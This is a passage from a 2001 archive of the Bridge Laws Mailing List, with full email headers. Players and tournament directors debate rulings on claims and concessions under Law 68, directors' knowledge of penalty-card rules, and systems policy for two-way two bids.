5.00.2919.6600 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "John (MadDog) Probst" To: Sent: Thursday, January 25, 2001 11:54 PM Subject: Re: [BLML] Claim? > There are about 5 standard infractions which I give without reading the > Laws. The obvious one is > Opening Lead out of turn. You need a lifetime to read this one > Secondly the revoke penalty, they just want to know is it 1 or 2 tricks. > 3rd a pass before anyone has bid. > 4th, the disposition of a penalty card > and lastly, an insufficient bid, where it is clear that both the > insufficient bid and the bid made good will neither be conventional. I have polled TDs around here (quite a few in one club with about 800 members, and a couple at another club), and it may be hard to believe, but only the head TD at the large club knew that there is a difference between disposing of major and minor penalty cards. I have not polled as many, but have asked a few who did not now about not being able to make conventional bids sufficient without penalty. Here's the level of TD Law expertise around here -- I called a TD and told her I wanted to protest a claim. Her instructions were to play on. When I see this particular TD coming without a Law book in hand, I figure that the odds of getting a correct ruling are nil. At least when she has the book, I can suggest where she should look in it. Nelson Ford -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 03:09:03 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RG7ru10026 for bridge-laws-outgoing; Sun, 28 Jan 2001 03:07:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.hal-pc.org (hal-pc.org [204.52.135.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RG7kt10020 for ; Sun, 28 Jan 2001 03:07:46 +1100 (EST) Received: from ramrod (206.180.129.202.dial-ip.hal-pc.org [206.180.129.202]) by mail.hal-pc.org (8.9.1/8.9.0) with SMTP id KAA06104; Sat, 27 Jan 2001 10:07:37 -0600 (CST) Message-ID: <38906D22.4149@hal-pc.org> Date: Thu, 27 Jan 2000 10:06:58 -0600 From: Georgiana Gates X-Mailer: Mozilla 3.01Gold (Win95; U) MIME-Version: 1.0 To: Herman De Wael CC: Bridge Laws Subject: Re: [BLML] wake up allowed? References: <3A6DB570.A0815438@village.uunet.be> <3A6E9B1B.16DCE844@village.uunet.be> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Herman De Wael wrote: > > Ed Reppert wrote: > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > At 5:46 PM +0100 1/23/01, Herman De Wael wrote: > > >For what it's worth, I do not believe that the fact that > > >bidding cards are used, and the 3Di bid lies right over the > > >1NT means that 1NT now becomes AI per se. > > > > Earlier you said that something needs to happen which would cause the > > player to ask for a review of the auction. Are you suggesting that is > > necessary *when bidding cards are in use*? Must a player think "if we > > weren't using bidding boxes, I would ask for a review" before the UI > > becomes AI? Must he *actually* ask for a review, even using bidding > > boxes? > > > > No he doesn't. > > The auction must have become sufficiently "strange" for the > average person to ask for a review, if we would be using > spoken bidding. > > I'd say that two rounds of bidding would suffice. I thought a player's right to a review was absolute. Or have I come too late to this thread? -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 05:29:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RISGU10123 for bridge-laws-outgoing; Sun, 28 Jan 2001 05:28:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RISAt10091 for ; Sun, 28 Jan 2001 05:28:11 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Sat, 27 Jan 2001 10:24:53 -0800 Message-ID: <006101c0888e$dbdcfb40$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "BLML" References: <023e01c08849$0b5b5920$1486b2d1@utcpoqli> Subject: Re: [BLML] Claim? Date: Sat, 27 Jan 2001 10:26:59 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tom Wood wrote: > JARGON PROBLEMS IN LAW 68 (CLAIMS & CONCESSIONS) -- > In this thread on claims, several postings have called attention, > at least obliquely, to the insufficient clarity of L68A in com- > bination with L68C. Specifically, in this regard, I believe that > there is not adequate distinction made in Law 68 among the > following actions: > 1. announcing a claim, > 2. initiating (i.e., committing to) announcement of a claim, and > 3. stating a proposed line of play. > Consequently, some posters to this thread have expressed > confusion or doubt as to exactly when the claimant's right to > state a line of play has expired. > (BTW, in my opinion, where any of the players express doubt > that one of the players has actually committed to making a > claim, the Director should be summoned to adjudicate that > issue first. Consequently, it would be premature and inap- > propriate for the potential claimant to offer a proposed line > of play, pending that adjudication.) > PROPOSED RE-DRAFTS -- > L68A. Announcing a Claim or Initiating a Claim Announcement > If a contestant states that he and his partner will win a > specific number of tricks, he has thereby announced a claim > of those tricks. What's wrong with the current "statement to the effect"? Your words seem to require that a number be mentioned, but "We missed a cold slam" should certainly constitute a claim. > Alternatively, if a contestant suggests that > play be curtailed, he has initiated a claim announcement and > should state immediately how many tricks he is claiming. > Similarly, a contestant who shows his unplayed cards has > also initiated a claim announcement and should state > immediately how many tricks he is claiming (unless he is the > declarer and has clearly stated that he is not making a claim). > > L68C. Claimant's Statement of Proposed Line of Play > Any announcement of a claim should be followed at once by > the claimant's stating a proposed (offensive or defensive) line of > play by which he and his partner would win the number of tricks > claimed. > The claimant is entitled to a reasonable opportunity to > complete his statement of proposed line of play without interfer- > ence from any of the other contestants at the table. Or to initiate his statement, not just complete it. When declarer says, "I've got the rest" and spreads hir hand, opponents should be required to pause a while, silent, waiting for a statement, before disputing it or calling the TD. I'd like to see more good efforts such as Tom's. Too often we criticize a Law without offering a remedy for its language. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 05:53:42 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RIr1q18835 for bridge-laws-outgoing; Sun, 28 Jan 2001 05:53:01 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp2.san.rr.com (smtp2.san.rr.com [24.25.195.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RIqtt18805 for ; Sun, 28 Jan 2001 05:52:56 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp2.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Sat, 27 Jan 2001 10:49:39 -0800 Message-ID: <006e01c08892$5165c240$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <02d101c08725$b581db60$9a9c1e18@san.rr.com> <200101270103.UAA15653@calum.csclub.uwaterloo.ca> <200101270212.VAA16958@calum.csclub.uwaterloo.ca> Subject: Re: [BLML] WBF Systems Policy Date: Sat, 27 Jan 2001 10:51:49 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Michael Farebrother" > > > >Marvin, are you reading the same Mid-Chart that I am? > > That was uncalled for. And mindless of me, especially as if I'd waited > two posts, I would have found out what bids were specifically being > talked about (and they don't fit with my explanation). > > As others have said, your 2D and 2H bids aren't Mid-Chart legal (though > why 2D shouldn't be I don't know). Or 2H, in my mind. Very easily defended, since there is a known suit if weak. In fact Two-Way Two Bids (an Ira Rubin invention, he claimed at the Hall of Fame dinner) should be GCC. I described them in a *Popular Bridge* (now defunct) article about 20 years ago. My generic name for conventions of this sort is Multiplex Bids, piggy-backing more than one message in a communication, with decoding to follow. Hasn't caught on. > > However, the WBF's BSC regulations' first exception says that: > > The bid always shows at least four cards > in a known suit if it is weak. If the bid does not show > a known four card suit it must show a hand a king or > more over average strength. > > And I believe your two bids qualify for that exception. > > I hope *this* answers your question. Better, at least, than the last > time. > Yes, thanks Michael. Finally, a clear answer. I am suggesting to ACBL the same regulation for the Mid-Chart, except that the strong adjunct must be stronger than that (15 HCP+) in ACBL-land. This means I have to supply a detailed defense along with the suggestion, but I don't know what to provide other than my simplistic one: Double to show the suit bid, bid the anchor suit for takeout. If one-suited the double denies the ability to make a higher bid. If two-suited the double is unlimited. A jump in the anchor suit is natural, preemptive. That's it, although against undisciplined weak twos I might eschew a 2NT overcall in favor of optional doubling the anchor suit on the next round. Is that good enough? Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 06:01:11 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RJ12v21709 for bridge-laws-outgoing; Sun, 28 Jan 2001 06:01:02 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iae.nl (postfix@mail.iae.nl [194.151.64.19]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RJ0tt21661 for ; Sun, 28 Jan 2001 06:00:56 +1100 (EST) Received: from default (pm17d261.iae.nl [212.61.5.7]) by mail.iae.nl (Postfix) with SMTP id 4C3FF20F18 for ; Sat, 27 Jan 2001 19:59:47 +0100 (CET) Message-ID: <002501c08893$3dbc6220$07053dd4@default> From: "Ben Schelen" To: "bridge-laws" Subject: [BLML] Concession Date: Sat, 27 Jan 2001 19:58:13 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Team play: top level The contract is 3 NT. In order to make 9 tricks declarer south has to find the queen of spades. In dummy A J 5 and K 10 6 in hand. Declare has the lead in trick 11. He considers how to treat the spade colour but at that moment west returns his thirteen cards to the board. There is little knowledge of the Laws at that level! Believe it or not but declarer now reads the queen in east. He continues play and find the queen in west. One down. The TD was not summoned. Your ruling please. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 06:32:41 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RJUkd02105 for bridge-laws-outgoing; Sun, 28 Jan 2001 06:30:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from snipe.prod.itd.earthlink.net (snipe.prod.itd.earthlink.net [207.217.120.62]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RJUct02058 for ; Sun, 28 Jan 2001 06:30:39 +1100 (EST) Received: from utcpoqli (pool0261.cvx2-bradley.dialup.earthlink.net [209.178.135.6]) by snipe.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id LAA29773 for ; Sat, 27 Jan 2001 11:30:08 -0800 (PST) Message-ID: <02ad01c08897$dee40aa0$1486b2d1@utcpoqli> From: "Tom Wood" To: "BLML" Subject: Re: [BLML] Claim? Date: Sat, 27 Jan 2001 11:32:20 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marv has responded with two suggestions re my (Tom Wood's) quick re-draft of L68A & L68C to clarify terminology relating to announcement of a claim & stating a proposed line of play. Marv's entire response is posted at the bottom of this message. MARV's Suggestion #1 -- >> >> PROPOSED RE-DRAFTS -- >> L68A. Announcing a Claim or Initiating a Claim Announcement >> If a contestant states that he and his partner will win a >> specific number of tricks, he has thereby announced a claim >> of those tricks. > >What's wrong with the current "statement to the effect"? Your words >seem to require that a number be mentioned, but "We missed a cold >slam" should certainly constitute a claim. [MARV] > Whoops! A totally unintended revision. Perhaps revise it to . . . L68A. Announcing a Claim or Initiating a Claim Announcement If a contestant makes any statement to the effect that he and his partner will win a specific number of tricks, he has thereby announced a claim of those tricks. MARV's Suggestion #2 -- >> >> The claimant is entitled to a reasonable opportunity to com- >> plete his statement of proposed line of play without interfer- >> ence from any of the other contestants at the table. > >Or to initiate his statement, not just complete it. When declarer >says, "I've got the rest" and spreads hir hand, opponents should >be required to pause a while, silent, waiting for a statement, >before disputing it or calling the TD. [MARV's Item #2] > Good point. Perhaps revise my draft to . . . The claimant is entitled to a reasonable opportunity to make a complete statement of his proposed line of play without interference from any of the other contestants at the table. Thanks, Marv, for the careful read and suggestions. As I stated in my original posting, I was primarily trying to convey the focus of my dissatisfaction with the current L68A/L68C text. In any of my private attempts at law re-write, I have usually taken about four or five revisions before I was close to satisfied. For the usual reasons: conciseness of language, avoidance of any ambiguity, etc. Tom Wood, CA, USA - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Marv's response and suggestions -- unedited . . . >Tom Wood wrote: > > >> JARGON PROBLEMS IN LAW 68 (CLAIMS & CONCESSIONS) -- >> In this thread on claims, several postings have called attention, >> at least obliquely, to the insufficient clarity of L68A in com- >> bination with L68C. Specifically, in this regard, I believe that >> there is not adequate distinction made in Law 68 among the >> following actions: >> 1. announcing a claim, >> 2. initiating (i.e., committing to) announcement of a claim, and >> 3. stating a proposed line of play. >> Consequently, some posters to this thread have expressed >> confusion or doubt as to exactly when the claimant's right to >> state a line of play has expired. >> (BTW, in my opinion, where any of the players express doubt >> that one of the players has actually committed to making a >> claim, the Director should be summoned to adjudicate that >> issue first. Consequently, it would be premature and inap- >> propriate for the potential claimant to offer a proposed line >> of play, pending that adjudication.) > >> PROPOSED RE-DRAFTS -- >> L68A. Announcing a Claim or Initiating a Claim Announcement >> If a contestant states that he and his partner will win a >> specific number of tricks, he has thereby announced a claim >> of those tricks. > >What's wrong with the current "statement to the effect"? Your words >seem to require that a number be mentioned, but "We missed a cold >slam" should certainly constitute a claim. > >> Alternatively, if a contestant suggests that >> play be curtailed, he has initiated a claim announcement and >> should state immediately how many tricks he is claiming. >> Similarly, a contestant who shows his unplayed cards has >> also initiated a claim announcement and should state >> immediately how many tricks he is claiming (unless he is the >> declarer and has clearly stated that he is not making a claim). >> >> L68C. Claimant's Statement of Proposed Line of Play >> Any announcement of a claim should be followed at once by >> the claimant's stating a proposed (offensive or defensive) line >> of play by which he and his partner would win the number of >> tricks claimed. > >> The claimant is entitled to a reasonable opportunity to com- >> plete his statement of proposed line of play without interfer- >> ence from any of the other contestants at the table. > >Or to initiate his statement, not just complete it. When declarer >says, "I've got the rest" and spreads hir hand, opponents should be >required to pause a while, silent, waiting for a statement, before >disputing it or calling the TD. > >I'd like to see more good efforts such as Tom's. Too often we >criticize a Law without offering a remedy for its language. > >Marv >San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 07:26:29 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RKOjN21276 for bridge-laws-outgoing; Sun, 28 Jan 2001 07:24:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from barry.mail.mindspring.net (barry.mail.mindspring.net [207.69.200.25]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RKOct21231 for ; Sun, 28 Jan 2001 07:24:39 +1100 (EST) Received: from hirschd (user-vcauhua.dsl.mindspring.com [216.175.71.202]) by barry.mail.mindspring.net (8.9.3/8.8.5) with SMTP id PAA01618 for ; Sat, 27 Jan 2001 15:24:34 -0500 (EST) Message-ID: <000a01c0889f$284ebbc0$0200000a@mindspring.com> From: "Hirsch Davis" To: "bridge-laws" References: <002501c08893$3dbc6220$07053dd4@default> Subject: Re: [BLML] Concession Date: Sat, 27 Jan 2001 15:24:31 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Ben Schelen" To: "bridge-laws" Sent: Saturday, January 27, 2001 1:58 PM Subject: [BLML] Concession > Team play: top level > The contract is 3 NT. > > In order to make 9 tricks declarer south has to find the queen of spades. In > dummy A J 5 and K 10 6 in hand. > Declare has the lead in trick 11. He considers how to treat the spade colour > but at that moment west returns his thirteen cards to the board. There is > little knowledge of the Laws at that level! > Believe it or not but declarer now reads the queen in east. He continues > play and find the queen in west. One down. > The TD was not summoned. > Your ruling please. > Depending on the actual sequence of events, several things could have happened, but they all lead to the same result. L68B. "...A player concedes all the remaining tricks if he abandons his hand..." W placing his cards back in the board is a concession. Depending on subsequent events, any of the following could be right: If E did not object to the concession (68B again), play ended at the point where W returned his cards to the board (68D). Three tricks to N/S. If E objected to the concession, and S got the finesse wrong, I would adjust the score under 73F2. W returning his cards to the board with the critical Q was certainly deceptive, and W could have known it would work to his benefit. Three tricks to N/S, and possible PP against E/W. If there was acquiescence to the concession, and E/W later realized that S had a guess and tried to reverse it, the concession would stand under 71A. Three tricks to N/S. All paths lead to the final three 3 tricks going to N/S once W places his cards back in the board. Perhaps N/S will summon the TD next time. Hirsch -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 08:15:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RLEaR08834 for bridge-laws-outgoing; Sun, 28 Jan 2001 08:14:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from acsys.anu.edu.au (acsys [150.203.20.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RLEVt08813 for ; Sun, 28 Jan 2001 08:14:32 +1100 (EST) Received: from accordion ([202.128.74.95]) by acsys.anu.edu.au (8.9.3/8.9.3) with SMTP id IAA03776 for ; Sun, 28 Jan 2001 08:14:28 +1100 (EST) Message-Id: <3.0.32.20010128081434.0111b590@acsys.anu.edu.au> X-Sender: markus@acsys.anu.edu.au X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 28 Jan 2001 08:14:40 +1100 To: bridge-laws@rgb.anu.edu.au From: owner-bridge-laws@rgb.anu.edu.au (by way of Markus Buchhorn ) Subject: [BLML] Desp. Seeking Craig Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk (well, maybe not desperately... -Markus) >From: "Marvin L. French" >Subject: Returned mail (The Subject: here is a taboo header field, hence it got bounced to me... -Markus) >My e-mails to Craig Senior csenior@ix.netcom.com keep coming back as >undeliverable (user uhknown), so Craig, why is this, do you know? Are you paid >up? > >Marv >San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 08:20:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RLKA810841 for bridge-laws-outgoing; Sun, 28 Jan 2001 08:20:10 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RLK3t10803 for ; Sun, 28 Jan 2001 08:20:03 +1100 (EST) Received: from oemcomputer (dialup-016.sligo.iol.ie [194.125.48.208]) by mail.iol.ie Sendmail (v8.9.3) with SMTP id VAA48928 for ; Sat, 27 Jan 2001 21:19:52 GMT Received: by localhost with Microsoft MAPI; Sat, 27 Jan 2001 21:20:55 -0000 Message-ID: <01C088A7.08DB9C60.tsvecfob@iol.ie> From: "Fearghal O'Boyle" To: "'bridge-laws@octavia.anu.edu.au'" Subject: RE: [BLML] Concession Date: Sat, 27 Jan 2001 21:20:54 -0000 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk -----Original Message----- From: Ben Schelen [SMTP:b.schelen@iae.nl] Sent: 27 January 2001 18:58 To: bridge-laws Subject: [BLML] Concession Team play: top level The contract is 3 NT. In order to make 9 tricks declarer south has to find the queen of spades. In dummy A J 5 and K 10 6 in hand. Declare has the lead in trick 11. He considers how to treat the spade colour but at that moment west returns his thirteen cards to the board. There is little knowledge of the Laws at that level! Believe it or not but declarer now reads the queen in east. He continues play and find the queen in west. One down. The TD was not summoned. Your ruling please. 68A: West conceded the remaining 3 tricks when he abondoned his hand. 68D: All play subsequent to the concession is voided by the Director. 3 Tricks to Declarer. Best regards, Fearghal. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 08:39:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RLccr17412 for bridge-laws-outgoing; Sun, 28 Jan 2001 08:38:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from psa836.la.asu.edu (root@psa836.la.asu.edu [129.219.44.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RLcVt17370 for ; Sun, 28 Jan 2001 08:38:32 +1100 (EST) Received: from localhost (localhost [[UNIX: localhost]]) by psa836.la.asu.edu (8.10.2/8.10.2) id f0REn0v01845 for bridge-laws@rgb.anu.edu.au; Sat, 27 Jan 2001 14:49:00 GMT From: David J Grabiner Organization: Arizona State University Mathematics Departmentt To: Subject: Re: [BLML] Claim? Date: Sat, 27 Jan 2001 14:44:35 +0000 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: <005a01c08868$c5c56c00$0dc188d1@kay> In-Reply-To: <005a01c08868$c5c56c00$0dc188d1@kay> MIME-Version: 1.0 Message-Id: <01012714485900.01834@psa836> Content-Transfer-Encoding: 8bit Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Sat, 27 Jan 2001, Nelson/Kay Ford wrote: > From: "John (MadDog) Probst" > > There are about 5 standard infractions which I give without reading the > > Laws. The obvious one is > > Opening Lead out of turn. You need a lifetime to read this one > > Secondly the revoke penalty, they just want to know is it 1 or 2 tricks. > > 3rd a pass before anyone has bid. > > 4th, the disposition of a penalty card > > and lastly, an insufficient bid, where it is clear that both the > > insufficient bid and the bid made good will neither be conventional. > I have polled TDs around here (quite a few in one club with > about 800 members, and a couple at another club), and it > may be hard to believe, but only the head TD at the large > club knew that there is a difference between disposing of > major and minor penalty cards. And my experience as a player is that most TD's get the rules wrong even when they know that minor penalty cards exist. I have had cards ruled as major when they should be minor, and weird rulings about minor cards, such as, "as long as the C2 is a penalty card, you cannot play any club lower than the 2." Even with major penalty cards, many directors forget about the lead penalties. > Here's the level of TD Law expertise around here -- > I called a TD and told her I wanted to protest a claim. > Her instructions were to play on. That's worse than I have seen. I call TD's frequently when an opponent tells me to play my claim out, and I have never been told to play it out myself. Where do you play? I have played a lot of tournaments in New York, Boston, San Francisco, and Detroit. -- Sincerely, David Grabiner, grabiner@math.la.asu.edu Department of Mathematics, Arizona State University, Tempe, AZ 85287-1804 http://math.la.asu.edu/~grabiner Phone: (480)965-3745 (work), (480)517-1674 (home). Fax: (480)965-8119. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 08:55:55 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RLtai23472 for bridge-laws-outgoing; Sun, 28 Jan 2001 08:55:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from snipe.prod.itd.earthlink.net (snipe.prod.itd.earthlink.net [207.217.120.62]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RLtTt23433 for ; Sun, 28 Jan 2001 08:55:30 +1100 (EST) Received: from utcpoqli (pool0261.cvx2-bradley.dialup.earthlink.net [209.178.135.6]) by snipe.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id NAA03730 for ; Sat, 27 Jan 2001 13:55:26 -0800 (PST) Message-ID: <02cd01c088ac$2b162d40$1486b2d1@utcpoqli> From: "Tom Wood" To: "BLML" Subject: Re: [BLML] Concession Date: Sat, 27 Jan 2001 13:57:38 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ben wrote -- > >Team play: top level >The contract is 3 NT. > >In order to make 9 tricks declarer south has to find the queen of >spades. In dummy A J 5 and K 10 6 in hand. >Declare has the lead in trick 11. He considers how to treat the >spade colour but at that moment west returns his thirteen cards >to the board. There is little knowledge of the Laws at that level! >Believe it or not but declarer now reads the queen in east. He >continues play and finds the queen in west. One down. >The TD was not summoned. >Your ruling please. > Ben, My ruling: Making 9 tricks! Don't L68B, Concession Defined, & L68D, Play Ceases, apply here? . . . A player concedes all the remaining tricks when he abandons his hand. . . . [L68B] After any claim or concession play ceases. All play subsequent to a claim or concession shall be voided by the Director. . . . [L68D] You say "The TD was not summoned." I presume that you mean that this illegal play-on activity continued to its down-1 completion before the entire matter was called to the attention of the TD. -- You also gave no indication that E protested (or even commented on) his partner's abandoning his hand by returning it to the tray. Note that I hesitated to say "disputed W's *concession*", for the whole table seems to have been populated by "top level" (your note) players woefully ignorant of the Laws. Finally, I find W's abandonment of his hand suspiciously likely to have been inspired by intent to deceive. Thus, as a minimum, I would expect to file a recorder form about this action, lest future opponents be treated to a similar show of disinterest by W while again holding cards material to the remaining play. In fact, depending on W's level of experience, I might entertain a PP for his deceptive action. If, on the other hand, W is inexperienced, he might simply have carelessly overlooked the pos- sibility that a two-way finesse existed and thought he was surrendering to the inevitable finesse with the J. Tom Wood, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sun Jan 28 10:20:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0RNJOS23501 for bridge-laws-outgoing; Sun, 28 Jan 2001 10:19:24 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailout4-0.nyroc.rr.com (mailout4-0.nyroc.rr.com [24.92.226.120]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0RNJDt23443 for ; Sun, 28 Jan 2001 10:19:14 +1100 (EST) Received: from [24.95.201.231] (roc-24-95-201-231.rochester.rr.com [24.95.201.231]) by mailout4-0.nyroc.rr.com (8.11.2/RoadRunner 1.03) with ESMTP id f0RNFKb12204 for ; Sat, 27 Jan 2001 18:15:21 -0500 (EST) Mime-Version: 1.0 X-Sender: erepper1@pop-server.rochester.rr.com Message-Id: In-Reply-To: <002501c08893$3dbc6220$07053dd4@default> References: <002501c08893$3dbc6220$07053dd4@default> Date: Sat, 27 Jan 2001 18:15:50 -0500 To: "bridge-laws" From: Ed Reppert Subject: Re: [BLML] Concession Sender: 